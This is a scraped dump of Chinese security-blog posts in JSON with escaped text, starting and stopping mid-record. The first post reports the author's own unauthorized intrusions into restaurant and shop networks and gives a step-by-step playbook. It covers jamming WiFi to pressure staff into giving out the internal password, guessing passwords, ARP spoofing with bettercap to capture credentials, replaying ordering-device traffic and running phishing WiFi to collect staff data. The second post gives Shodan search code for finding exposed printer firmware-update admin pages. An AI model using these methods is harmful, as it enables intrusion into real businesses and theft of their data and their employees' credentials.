e00\u79cd\u65b9\u6848\uff0c\u4f46\u662f\u6211\u8fd9\u91cc\u60f3\u8bf4\u5f97\u662f\u5546\u5bb6\u81ea\u8eab\u7684\u5b89\u5168\u3002\r\n</p>\r\n<p>\r\n\t\u6839\u636e\u6211\u4eec\u81ea\u5df1\u7684\u6570\u636e\u7edf\u8ba1\uff0c\u5927\u7ea690%\u4ee5\u4e0a\u7684\u5546\u5bb6\u90fd\u4e0d\u6e05\u695a\u514d\u8d39wifi\u7684\u90e8\u7f72\u65b9\u6cd5\uff0c\u4ed6\u4eec\u76f4\u63a5\u628a\u8def\u7531\u5668\u63a5\u5230\u4e86\u81ea\u5bb6\u7684\u7f51\u5173\u4e0a\uff0c\u8fd9\u4f1a\u5bfc\u81f4\u4ec0\u4e48\u95ee\u9898\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u5f88\u663e\u7136\uff0c\u6ca1\u6709\u8fdb\u884c\u7f51\u6bb5\u7684\u5212\u5206\uff0c\u5ba2\u6237\u7aef\u6ca1\u6709\u9694\u79bb\uff0c\u5c40\u57df\u7f51\u53efARP\uff0c\u4e00\u4e9bPOS\u6536\u94f6\u7cfb\u7edf\u53c8\u662f\u7279\u522b\u8001\u65e7\u7684\u7a0b\u5e8f\uff0c\u5404\u79cd\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u5185\u7f51\u6570\u636e\u670d\u52a1\u5668\u66b4\u9732\uff0c\u5404\u79cd\r\n\u5b89\u5168\u95ee\u9898\u968f\u4e4b\u800c\u6765\uff0c\u8425\u4e1a\u6570\u636e\u6cc4\u9732\uff0c\u88ab\u7be1\u6539\uff0c\u88ab\u6076\u610f\u7834\u574f\u7b49\u7b49\u7b49\u7b49\u3002\u8fd9\u4e0d\u662f\u5371\u8a00\u8038\u542c\uff0c\u8fd9\u662f\u76ee\u524d\u5728\u4f7f\u7528\u514d\u8d39wifi\u7684\u5546\u5bb6\u4e2d\u666e\u904d\u5b58\u5728\u7684\u95ee\u9898\u3002\r\n</p>\r\n<h2 id=\"\">\r\n\t\u7ecf\u9a8c\r\n</h2>\r\n<p>\r\n\t\u4e3a\u4e86\u9a8c\u8bc1\u81ea\u5df1\u7684\u60f3\u6cd5\uff0c\u6211\u66fe\u591a\u6b21\u5c1d\u8bd5\u5165\u4fb5\u4e86\u591a\u5bb6\u5546\u94fa\u7684\u5185\u7f51\uff0c\u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650\u4ee5\u53ca\u5185\u90e8\u654f\u611f\u4fe1\u606f\u3002\r\n</p>\r\n<p>\r\n\t\u9996\u5148\uff0c\u4e3a\u4e86\u5bfb\u627e\u66f4\u591a\u7684\u5546\u5bb6\uff0c\u6211\u9009\u62e9\u4e86\u4e00\u4e9b\u5927\u578b\u5546\u573a\uff0c\u6bd4\u5982\uff1a\u4e07\u8fbe\u5e7f\u573a\u3002\u63a5\u7740\u6211\u4eec\u9700\u8981\u53bb\u627e\u4e00\u4e9b\u6570\u636e\u4e24\u76f8\u5bf9\u8f83\u5927\u7684\u5546\u5bb6\uff0c\u9910\u996e\u4e1a\u662f\u4e2a\u4e0d\u9519\u7684\u9009\u62e9\uff0c\u9009\u62e9\u597d\u76ee\u6807\u4e4b\u540e\u6211\u4eec\u5c31\u51c6\u5907\u4e0b\u4e00\u6b65\u3002\u9009\u62e9\u5348\u9910\u6216\u8005\u665a\u9910\u7684\u65f6\u95f4\u53bb\u5403\u996d\uff0c\u968f\u4fbf\u64b8\u4e00\u64b8\u5185\u7f51\uff0c\u4e5f\u6bd4\u8f83\u96be\u88ab\u53d1\u73b0\uff0c\u800c\u4e14\u90a3\u4e2a\u65f6\u5019\u5546\u5bb6\u90fd\u5fd9\u5f97\u8981\u6b7b\u3002\r\n</p>\r\n<p>\r\n\t\u5546\u5bb6\u7684wifi\u4e00\u822c\u5206\u4e3a\u597d\u51e0\u79cd\uff0c\u4e00\u79cd\u662f\u76f4\u63a5\u65e0\u5bc6\u7801\uff0c\u4f46\u662f\u9700\u8981\u624b\u673a\u53f7\u7801\u6ce8\u518c\u7684\uff0c\u8fd9\u79cdwifi\u4e00\u822c\u4e0d\u662f\u76ee\u6807\uff0c\u5c5e\u4e8e\u8bbf\u5ba2wifi\uff0c\u6ca1\u5565\u597d\u5f04\u7684\u3002\u7b2c\u4e8c\u79cd\u5c31\u662f\r\n\u70b9\u9910\u7528\u7684\u624b\u6301\u8bbe\u5907\u7528\u7684\u65e0\u7ebf\u7f51\uff0c\u8fd9\u4e2a\u5f88\u6709\u610f\u601d\uff0c\u4e00\u822c\u76f4\u63a5\u4e0e\u70b9\u9910\u673a\u8fde\u63a5\uff0c\u5f88\u591a\u65f6\u5019\u4e5f\u8ddf\u5185\u7f51\u7684\u6570\u636e\u670d\u52a1\u5668\u662f\u901a\u7684\u3002\u7b2c\u4e09\u79cd\u662f\u5546\u5bb6\u81ea\u5df1\u5de5\u4f5c\u4eba\u5458\u7528\u7684\u5185\u90e8wifi\uff0c\u8fd9\r\n\u4e2a\u7f51\u7edc\u6709\u65f6\u5019\u4e5f\u662f\u8ddf\u5185\u90e8\u670d\u52a1\u5668\u8fde\u63a5\u5728\u4e00\u8d77\u7684\u3002\u6536\u94f6POS\u673a\u4e00\u822c\u90fd\u662f\u6709\u7ebf\u7684\uff0c\u6709\u4e9bPOS\u673a\u5bf9\u5916\u7f51\u662f\u6709\u5f00\u653e\u7aef\u53e3\u7684\uff0c\u65b9\u4fbf\u8fdc\u7a0b\u7ba1\u7406\uff0c\u8fd9\u79cd\u673a\u5668\u591a\u89c1\u4e8e\u8fde\u9501\u5e97\u3002\r\n</p>\r\n<p>\r\n\t\u597d\u4e86\uff0c\u63a5\u4e0b\u6765\u54b1\u4eec\u5c31\u5f00\u59cb\u60f3\u529e\u6cd5\u641e\u5b9awifi\uff0c\u5047\u8bbe\u5546\u5bb6\u6709\u65e0\u5bc6\u7801\u7684wifi\u4e86\uff0c\u8fd9\u4e2a\u65f6\u5019\u548b\u529e\u5462\uff1f\u8fd9\u4e2a\u597d\u529e\uff0c\u53ef\u4ee5\u4f7f\u7528\u5b89\u5353\u4e0a\u9762\u7684\u4e00\u4e9b\u9ed1\u5ba2\u5de5\u5177\uff0c\u6bd4\u5982\r\narp\u7684\uff0c\u6216\u8005kill \r\nconnection\u8fd9\u4e9b\u4e1c\u897f\uff0c\u5f88\u5bb9\u6613\u5bfc\u81f4\u7f51\u7edc\u53d8\u5f97\u5f88\u5361\uff0c\u751a\u81f3\u65e0\u6cd5\u4e0a\u7f51\u3002\u8fd9\u4e2a\u65f6\u5019\u5c31\u53ef\u4ee5\u53eb\u670d\u52a1\u5458\u4e86\uff0c\u5f3a\u70c8\u8981\u6c42\u670d\u52a1\u5458\u89e3\u51b3wifi\u95ee\u9898\uff0c\u8fd9\u4e2a\u8138\u76ae\u5f97\u539a\u3002\u6839\u636e\r\n\u7ecf\u9a8c\uff0c\u5c24\u5176\u662f\u5728\u5ba2\u4eba\u7279\u522b\u591a\u7684\u65f6\u5019\uff0c\u670d\u52a1\u5458\u53c8\u7279\u522b\u7e41\u5fd9\uff0c\u4ed6\u4eec\u4e5f\u6015\u9ebb\u70e6\uff0c\u4e00\u822c\u4f1a\u544a\u8bc9\u4f60\u4ed6\u4eec\u81ea\u5df1\u7528\u7684\u5185\u90e8wifi\u5bc6\u7801\u3002\u5f53\u7136\uff0c\u5728\u95ee\u4e4b\u524d\u8fd8\u662f\u5148\u60f3\u529e\u6cd5\u731c\u4e00\u731c\u5bc6\u7801\u662f\r\n\u591a\u5c11\u3002\u6839\u636e\u7ecf\u9a8c\uff0c\u5546\u5bb6\u5185\u90e8wifi\u4e00\u822c\u90fd\u4f7f\u7528\u4e86\u56fa\u8bdd\u6216\u8005\u624b\u673a\u53f7\u7801\u4f5c\u4e3awifi\u5bc6\u7801\uff0c\u5982\u679c\u5404\u79cd\u65b9\u6cd5\u90fd\u5931\u8d25\u7684\u60c5\u51b5\u4e0b\u624d\u53bb\u95ee\u670d\u52a1\u5458\u3002\r\n</p>\r\n<p>\r\n\t\u8fde\u63a5\u4e0awifi\u4e4b\u540e\u4e0d\u8981\u6025\u7740arp\u53bb\u62ff\u5404\u79cd\u5bc6\u7801\uff0carp\u6bd5\u7adf\u52a8\u9759\u5927\uff0c\u8981\u662f\u628a\u5185\u7f51\u641e\u7684\u5f88\u5361\u6216\u8005\u65ad\u7f51\uff0c\u90a3\u5c31\u6bd4\u8f83\u5c34\u5c2c\u4e86\uff0c\u9996\u5148\u6211\u4f1a\u4f7f\u7528fing\uff08\u5b89\u5353\u548cios\u4e0a\u90fd\u53ef\u4ee5\u5b89\u88c5\u7684app\uff09\u628a\u5185\u7f51\u626b\u63cf\u4e00\u904d\uff0c\u770b\u770b\u6709\u54ea\u4e9b\u673a\u5668\uff0c\u8fd9\u6837\u5c31\u80fd\u521d\u6b65\u5224\u65ad\u4e00\u4e0b\u5185\u7f51\u662f\u4e0d\u662f\u76ee\u6807\u7f51\u8def\u3002\r\n</p>\r\n<p>\r\n\t\u5982\u679c\u5185\u7f51\u6709\u670d\u52a1\u5668\u6216\u8005\u6536\u94f6\u673a\u5b58\u5728\uff0c\u5c31\u8981\u5c0f\u5fc3\u7684\u8fdb\u884c\u63a2\u6d4b\uff0c\u6536\u94f6\u673a\u5668\u5f88\u591a\u90fd\u662f\u76f4\u63a5\u4e00\u53f0\u7626\u5ba2\u6237\u673a\uff0c\u7a0b\u5e8f\u4e5f\u5f88\u8001\uff0c\u4e3a\u4e86\u5b89\u5168\u671f\u95f4\uff0c\u8fd8\u662f\u4e0d\u8981\u52a8\u9759\u592a\u5927\u4e3a\u597d\u3002\r\n</p>\r\n<p>\r\n\t\u5982\u679c\u80fd\u767b\u5f55\u5230\u76ee\u6807\u7f51\u7edc\u7684\u7f51\u5173\uff0c\u76f8\u5fc5\u4e00\u5b9a\u662f\u6781\u597d\u7684\uff0c\u4e0d\u8981\u89c9\u5f97\u767b\u5f55\u7f51\u5173\u6709\u591a\u96be\uff0c\u6bd5\u7adf\u4eba\u7684\u4e00\u4e9b\u5f31\u70b9\uff0c\u8ba4\u4e3a\u5185\u90e8wifi\u5e76\u4e0d\u4f1a\u88ab\u7834\u574f\uff0c\u7f51\u5173\u5f88\u5bb9\u6613\u5c31\u4f7f\u7528\u4e86\u5f31\u53e3\u4ee4\u6216\u8005\u9ed8\u8ba4\u53e3\u4ee4\u3002\r\n</p>\r\n<p>\r\n\t\u5982\u679c\u76ee\u6807\u7f51\u7edc\u786e\u5b9e\u5f88\u6709\u4ef7\u503c\uff0c\u4f46\u662f\u7ecf\u8fc7\u4e00\u756a\u5c1d\u8bd5\u4e4b\u540e\u4f3c\u4e4e\u5404\u79cd\u7cfb\u7edf\u90fd\u575a\u4e0d\u53ef\u6467\uff0c\u600e\u4e48\u529e\uff1f\u8fd9\u4e2a\u65f6\u5019\u54b1\u4eec\u5c31\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528arp\u4e86\uff0c\u5148\u4f7f\u7528\u5b89\u9759\u6a21\u5f0f\uff0c\u907f\u514d\r\narp\u98ce\u66b4\u5bfc\u81f4\u7f51\u7edc\u6389\u7ebf\uff0cbettercap\u8fd9\u4e2a\u5de5\u5177\u5f88\u8d5e\uff0c\u4f46\u662f\u4f3c\u4e4e\u5e76\u6ca1\u6709\u79fb\u52a8\u7aefapp\uff0c\u4e0d\u8fc7\u66ff\u4ee3\u54c1\u4e5f\u5f88\u591a\uff0c\u8fd9\u91cc\u5c31\u4e0d\u4e3e\u4f8b\u4e86\uff0c\u641c\u7d22\u5f15\u64ce\u5f88\u5bb9\u6613\u627e\u5230\u3002\r\n</p>\r\n<p>\r\n\tarp\u62ff\u5bc6\u7801\u76f8\u5bf9\u6765\u8bf4\u633a\u5bb9\u6613\uff0c\u5c24\u5176\u662f\u8fd9\u79cd\u5185\u90e8\u7f51\u7edc\u52a0\u4e0a\u8001\u65e7\u7684\u7a0b\u5e8f\uff0c\u6210\u529f\u7387\u8fd8\u662f\u86ee\u9ad8\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u597d\u4e86\uff0c\u8bf4\u4e86\u4e0a\u9762\u90a3\u4e9b\u54b1\u4eec\u4e5f\u8bf4\u4e0b\u6709\u610f\u601d\u7684\u4e1c\u897f\uff0c\u53ef\u80fd\u4f1a\u5e26\u6709\u4e00\u4e9b\u6076\u641e\u7684\u610f\u601d\uff0c\u73a9\u73a9\u70b9\u9910\u673a\u3002\u624b\u6301\u8bbe\u5907\u5927\u5bb6\u5e94\u8be5\u90fd\u89c1\u8fc7\uff0c\u5927\u591a\u6570\u624b\u6301\u70b9\u9910\u673a\u90fd\u662fwifi\u8fde\u63a5\r\n\u7684\uff0c\u5f53\u7136\u4e5f\u6709\u84dd\u7259\u8fde\u63a5\u3002wifi\u8fde\u63a5\u7684\u4e00\u822c\u90fd\u6bd4\u8f83\u5bb9\u6613\u641e\u5b9a\uff0carp\u55c5\u63a2\u62ff\u5230\u8bf7\u6c42\u7684\u6570\u636e\u5305\u5c31\u884c\u4e86\uff0c\u81f3\u4e8e\u662f\u6a21\u62df\u53d1\u5305\u8fd8\u662f\u5e72\u5565\u5c31\u770b\u4e2a\u4eba\u7684\u5fc3\u60c5\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u5982\u679c\u4f60\u51c6\u5907\u7684\u8db3\u591f\u5145\u5206\uff0c\u4f60\u8fd8\u53ef\u4ee5\u865a\u62df\u4e2a\u9493\u9c7cwifi\u51fa\u6765\uff0c\u62ff\u4e00\u4e9b\u5de5\u4f5c\u4eba\u5458\u7684\u4e2a\u4eba\u4fe1\u606f\u4e5f\u662f\u633a\u6709\u610f\u601d\u7684\u3002\r\n</p>\r\n</section><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23395 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u4f7f\u7528shodan\u7684api\uff08Python\uff09"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-08-15, 12:00 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<section class=\"post-content\">\r\n<h2 id=\"\">\r\n\t\u597d\u5904\r\n</h2>\r\n<p>\r\n\t\u4f7f\u7528api\u7684\u597d\u5904\u60f3\u5fc5\u662f\u5f88\u663e\u800c\u6613\u89c1\u7684\uff0c\u6ca1\u6709\u50cfweb\u90a3\u6837\u8981\u5f88\u4e45\u624d\u80fd\u6253\u5f00\uff0capi\u7684\u901f\u5ea6\u662f\u975e\u5e38\u5feb\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u6570\u636e\u683c\u5f0f\u5f88\u53cb\u597d\uff0cshodan\u7684api\u8fd4\u56de\u7684\u6570\u636e\u683c\u5f0f\u662fjson\u683c\u5f0f\u7684\uff0cjson\u7684\u89e3\u6790\u975e\u5e38\u65b9\u4fbf\uff0c\u8fd9\u5bf9\u4e8e\u6211\u4eec\u5feb\u901f\u5f00\u53d1\u5e94\u7528\u6765\u8bf4\u662f\u76f8\u5f53\u4e0d\u9519\u7684\u3002\r\n</p>\r\n<h2 id=\"\">\r\n\t\u5982\u4f55\u4f7f\u7528\r\n</h2>\r\n<p>\r\n\t\u90a3\u5982\u4f55\u4f7f\u7528shodan\u7684api\u5462\uff1f\u5b98\u65b9\u63d0\u4f9b\u4e86 REST API \u7684\u8be6\u7ec6\u6587\u6863\uff0c\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528Python\u5f00\u53d1\u3002\u6309\u7167\u4e0b\u9762\u7684\u6b65\u9aa4\u6765\u5c31\u53ef\u4ee5\u4e86\u3002\r\n</p>\r\n<h3 id=\"\">\r\n\t\u6ce8\u518c\r\n</h3>\r\n<p>\r\n\t\u8981\u60f3\u4f7f\u7528shodan\u7684api\uff0c\u9996\u5148\u5f97\u9700\u8981\u6ce8\u518c\u4e00\u4e2ashodan\u8d26\u53f7\uff0c\u6ce8\u518c\u8fc7\u7a0b\u5c31\u4e0d\u63cf\u8ff0\u4e86\uff0c\u6309\u7167\u63d0\u793a\u4e00\u6b65\u6b65\u6765\uff0c\u5982\u679c\u4f60\u7684\u82f1\u6587\u8db3\u591f\u70c2\u7684\u8bdd\uff0c\u90a3\u4e48\u6211\u63a8\u8350\u4f60\u4f7f\u7528\u56fd\u5185\u7684zoomeye\uff0c\u8fd9\u4e2a\u4e1c\u897f<s>\u5c31\u662f\u4eff\u7167shodan\u505a\u7684</s>\u8ddfshodan\u505a\u7684\u7c7b\u4f3c\uff0c\u4e24\u8005\u504f\u5411\u7684\u65b9\u5411\u53ef\u80fd\u4e0d\u592a\u4e00\u6837\u5427<s>\u4f46\u662f\u505a\u7684\u5e76\u6ca1\u6709shodan\u597d</s>\uff08\u8865\u5145\uff1a\u56e0\u4e3a\u6b64\u524d\u591a\u6b21\u5c1d\u8bd5\u8c03\u7528zoomeye\u7684api\uff0c\u4f46\u662f\u59cb\u7ec8\u63d0\u793a\u5e10\u53f7\u9519\u8bef\uff0c\u6ca1\u6709\u6210\u529f\u8fc7\uff09<s>\uff0c\u4e0d\u8fc7\u8fd8\u662f\u53ef\u4ee5\u5c06\u5c31\u4e0b</s>\u3002\r\n</p>\r\n<p>\r\n\t\u5047\u8bbe\u4f60\u5df2\u7ecf\u6ce8\u518c\u597d\u4e86shodan\u8d26\u53f7\uff0c\u90a3\u4e48\u73b0\u5728\u8bf7\u8f6c\u5230api\u76f8\u5173\u7684\u9875\u9762 <a href=\"https://developer.shodan.io/api\">https://developer.shodan.io/api</a> \u8fd9\u4e2a\u9875\u9762\u8be6\u7ec6\u4ecb\u7ecd\u4e86 shodan REST API\u7684\u5404\u79cd\u53c2\u6570\uff0c\u5047\u8bbe\u4f60\u5df2\u7ecf\u6709\u4e86\u4e00\u4e9b\u7f51\u7edc\u7f16\u7a0b\u57fa\u7840\uff0c\u90a3\u4e48\uff0c\u4f60\u770b\u8fd9\u4e9b\u6587\u6863\u5e94\u8be5\u6beb\u65e0\u538b\u529b\u3002\r\n</p>\r\n<h3 id=\"key\">\r\n\t\u83b7\u53d6key\r\n</h3>\r\n<p>\r\n\tapi\u7684\u4f7f\u7528\u4f9d\u8d56shodan\u7684api key\uff0ckey\u7684\u83b7\u53d6\u4e5f\u5f88\u7b80\u5355\uff0c\u5728\u9875\u9762\u7684\u53f3\u4e0a\u89d2\uff0c\u6709\u4e2a show Apikey\u7684\u6309\u94ae\uff0c\u70b9\u51fb\u4e00\u4e0b\u5373\u53ef\u83b7\u5f97api key</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=393\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/36445b39d0cdea9a3cfd094808bb4fb1.png\" alt=\"2016-08-15-18-01-32----.png - \u5927\u5c0f: 52.65 KB - \u5c3a\u5bf8: 415 x 297 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"415\" height=\"297\"></a></div>\r\n\r\n<h3 id=\"python\">\r\n\t\u5b89\u88c5python\u6a21\u5757\r\n</h3>\r\n<p>\r\n\tshodan\u7684\u6a21\u5757\u9ed8\u8ba4\u662f\u6ca1\u6709\u5b89\u88c5\u7684\uff0c\u8fd9\u91cc\u9700\u8981\u6211\u4eec\u624b\u52a8\u5b89\u88c5\u4e00\u4e0b\uff0c\u5b89\u88c5\u8fc7\u7a0b\u4e5f\u662f\u975e\u5e38\u7684\u7b80\u5355\uff0c\u4f7f\u7528pip\u5c31\u53ef\u4ee5\u4e86\r\n</p>\r\n<p>\r\n\t\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u5373\u53ef\r\n</p>\r\n<pre class=\"brush:bash;\">sudo pip install shodan</pre>\r\n<h3 id=\"\">\r\n\t\u7f16\u5199\u811a\u672c\r\n</h3>\r\n<p>\r\n\t\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a\u53ebshodanSearch\u7684\u65b9\u6cd5\u7528\u6765\u53d6\u56de\u641c\u7d22\u7684\u7ed3\u679c\u5217\u8868\r\n</p>\r\n<pre class=\"brush:bash;\">def shodanSearch(keywords\uff0ckey):\r\n\r\n\tSHODAN_API_KEY = key\r\n\tapi = shodan.Shodan(SHODAN_API_KEY)\r\n\r\n\tiplist = []\r\n\ttotal = 0\r\n\r\n\ttry:\r\n\t\tresults = api.search(keywords)\r\n\t\ttotal = int(results['total'])\r\n\t\tfor result in results['matches']: iplist.append({\"ip\":result['ip_str'],\"country\":result['location']['country_name']})\r\n\t\treturn total,iplist\r\n\r\n\texcept shodan.APIError, e:\r\n\t\tprint 'Error: %s' % e</pre>\r\n\u662f\u4e0d\u662f\u5f88\u7b80\u5355\uff1f\r\n\u597d\u4e86\uff0c\u4e0b\u9762\u54b1\u4eec\u628a\u8fd4\u56de\u7684\u7ed3\u679c\u62ff\u6765\u505a\u4e00\u4e9b\u6709\u8da3\u7684\u4e8b\u60c5\u3002\r\n<h3 id=\"\">\r\n\t\u5e94\u7528\u5b9e\u6218\r\n</h3>\r\n<p>\r\n\t\u8fd9\u91cc\u6211\u627e\u5230\u4e86Brother\u6253\u5370\u673a\u7684\u4e00\u4e2a\u5347\u7ea7\u9875\u9762\uff0c\u53ef\u4ee5\u8fdc\u7a0b\u64cd\u4f5c\u6253\u5370\u673a\u5347\u7ea7\u7684\u6f0f\u6d1e\uff0c\u4f7f\u7528shodan\u6765\u641c\u7d22\u6253\u5370\u673a\u5e76\u4e14\u83b7\u53d6\u6253\u5370\u673a\u7684\u578b\u53f7\u80fd\u76f8\u5173\u4fe1\u606f\u3002\r\n</p>\r\n<p>\r\n\t\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2acheckStatus\u7684\u65b9\u6cd5\uff0c\u5e76\u5c06\u8981\u68c0\u67e5\u7684ip\u4fe1\u606f\u4f20\u8fdb\u53bb\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u5c06\u8fd4\u56de\u7ed3\u679c\uff0c\u65b9\u6cd5\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">def checkStatus(host):\r\n\taimurl = \"http://\"+host['ip']+\"/admin/firmwareupdate.html\"\r\n\ttry:\r\n\t\treq = requests.get(url = aimurl,timeout = 10)\r\n\t\thtml_code = req.content\r\n\r\n\t\ttitle = re.findall(r'<title>(.+?)</title>',html_code)[0]\r\n\t\tcode = re.findall(r'<dd>(.+?)</dd>',html_code)[1]\r\n\t\tversion = re.findall(r'<dd>(.+?)</dd>',html_code)[2].replace('&nbsp;','')\r\n\r\n\t\tif \"Brother\" in title:\r\n\t\t\tCHECKLIST.append(host['ip'])\r\n\t\t\tprint aimurl+\" ---> \"+title+\" code:\"+code+\" version:\"+version\r\n\texcept Exception,e:\r\n\t\tpass</pre>\r\n\u8fd9\u91cc\u6211\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5168\u5c40\u53d8\u91cfCHECKLIST\uff0c\u5982\u679c\u83b7\u53d6\u6210\u529f\u4fbf\u5c06\u6210\u529f\u7684IP\u8ffd\u52a0\u5230 CHECKLIST \u8fd9\u4e2a\u5217\u8868\u4e2d\r\n<p>\r\n\t\u597d\u4e86\uff0c\u662f\u4e0d\u662f\u975e\u5e38\u7b80\u5355\uff0c\u770b\u4e0b\u5b9e\u6218\u622a\u56fe\u5427\u00a0</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=394\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201609/e93d070cc5b54568d6314bb3b8e9bac1.png\" alt=\"2016-08-15-18-16-47------.png - \u5927\u5c0f: 85.3 KB - \u5c3a\u5bf8: 1018 x 355 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"314\"></a></div>\r\n\r\n<p>\r\n\t\u7531\u4e8e\u514d\u8d39API\u6709100\u6761\u7684\u9650\u5236\uff0c\u6240\u4ee5\u8fd9\u91cc\u6700\u591a\u663e\u793a100\u6761\u7ed3\u679c\uff0c\u5f53\u7136\u4e86\uff0c100\u6761\u5bf9\u6211\u4eec\u5f00\u8bf4\u5df2\u7ecf\u8db3\u591f\u4e86\uff0c\u904d\u5386\u4e00\u904d\u53ef\u662f\u9700\u8981\u4e0d\u5c11\u65f6\u95f4\uff0c\u6240\u4ee5\u6211\u52a0\u4e0a\u4e86\u591a\u7ebf\u7a0b\uff0c10\u79d2\u5185\u5c31\u53ef\u4ee5\u8dd1\u5b8c\u3002\r\n</p>\r\n<p>\r\n\t\u597d\u4e86\uff0c\u4f7f\u7528\u65b9\u6cd5\u5c31\u8fd9\u4e48\u70b9\uff0c\u975e\u5e38\u7b80\u5355\uff0c\u5b8c\u6574\u7684\u811a\u672c\u5c31\u4e0d\u4e0a\u4f20\u4e86\uff0c\u5269\u4e0b\u7684\u4e5f\u5c31\u5341\u51e0\u884c\u4ee3\u7801\u3002\r\n</p>\r\n</section><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23396 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5173\u4e8eGSM Sniffer\u81ea\u52a8\u5316"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-08-15, 12:00 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<p>\r\n\t\u53ef\u80fd\u662f\u56e0\u4e3a\u6211\u4e4b\u524d\u6ca1\u6709\u5199\u6e05\u695a\u7684\u539f\u56e0\uff0c\u5bfc\u81f4\u5f88\u591a\u670b\u53cb\u4e0d\u6e05\u695a\u5230\u5e95\u662f\u600e\u4e48\u4e2a\u5de5\u4f5c\u65b9\u5f0f\u3002\u5f53\u7136\uff0c\u5199\u4e0d\u5199\uff0c\u5199\u5230\u4ec0\u4e48\u7a0b\u5ea6\u6211\u90fd\u6709\u6211\u81ea\u5df1\u7684\u7406\u7531\uff0c\u5728\u6211\u770b\u6765\uff0c\u6211\u505a\u7684\u8fd9\r\n\u6574\u4e2a\u81ea\u52a8\u5316\u5237\u673a\u7684\u4e1c\u897f\u610f\u4e49\u771f\u7684\u4e0d\u662f\u5f88\u5927\uff0cGithub\u4e0a\u7684\u90a3\u4e2asmsweb\u4e5f\u53ea\u662f\u4e3a\u4e86\u65b9\u4fbf\u81ea\u5df1\u6f14\u793a\u800c\u5199\u7684\u4e00\u4e2ademo\u7248\u672c\uff0c\u5b58\u5728\u7740\u5f88\u591a\u95ee\u9898\uff0c\u5e76\u4e0d\u662f\u62ff\u6765\u5c31\r\n\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528\uff0c\u6ca1\u6709\u70b9\u7f16\u7a0b\u57fa\u7840\u548c\u7535\u8def\u57fa\u7840\u662f\u5f88\u96be\u4fee\u6539\u6210\u4e00\u4e2a\u5b8c\u7f8e\u8fd0\u884c\u7248\u672c\u7684\u3002\r\n</p>\r\n<h2 